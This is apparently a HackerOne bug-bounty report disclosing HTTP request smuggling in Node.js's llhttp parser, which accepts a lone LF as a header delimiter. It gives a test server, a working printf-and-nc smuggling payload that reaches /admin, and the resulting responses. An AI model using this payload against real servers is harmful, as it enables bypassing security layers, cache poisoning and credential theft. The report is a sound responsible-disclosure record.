Lucene search

K
hackeroneZeyu2001H1:1524692
HistoryMar 28, 2022 - 4:07 p.m.

Node.js: HTTP Request Smuggling Due To Improper Delimiting of Header Fields

2022-03-2816:07:44
zeyu2001
hackerone.com
12

0.002 Low

EPSS

Percentile

61.0%

Summary:

The llhttp parser in the http module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

Description:

The LF character (without CR) is sufficient to delimit HTTP header fields in the lihttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.

Consider the following request (all lines are delimited by CRLF except the [\n] part)

GET / HTTP/1.1
Host: localhost
Dummy: x[\n]Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

Suppose that an upstream server:

  • Correctly delimits lines by the CRLF sequence instead of only LF
  • Incorrectly allows the LF character in header values

This leads to HTTP request smuggling as the Node server sees one extra header field, Content-Length: 23 while the upstream proxy thinks that the content length of the first request is 0.

Request as seen by the Node server:

GET / HTTP/1.1
Host: localhost
Dummy: x
Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

Steps To Reproduce:

Server code I used for testing:

const http = require('http');

http.createServer((request, response) => {
   let body = [];
   request.on('error', (err) => {
      response.end("error while reading body: " + err)
   }).on('data', (chunk) => {
      body.push(chunk);
   }).on('end', () => {
   body = Buffer.concat(body).toString();
   
   response.on('error', (err) => {
      response.end("error while sending response: " + err)
   });

   response.end(JSON.stringify({
         "URL": request.url,
         "Headers": request.headers,
         "Length": body.length,
         "Body": body,
      }) + "\n");
   });
}).listen(80);

Payload:

(printf "GET / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Dummy: x\nContent-Length: 23\r\n"\
"\r\n"\
"GET / HTTP/1.1\r\n"\
"Dummy: GET /admin HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"\r\n"\
"\r\n") | nc localhost 80

Expected result: Sees two requests, both to /.

Actual result: Sees one request to / and another to /admin.

HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 124

{"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length":23,"Body":"GET / HTTP/1.1\r\nDummy: "}
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 69

{"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.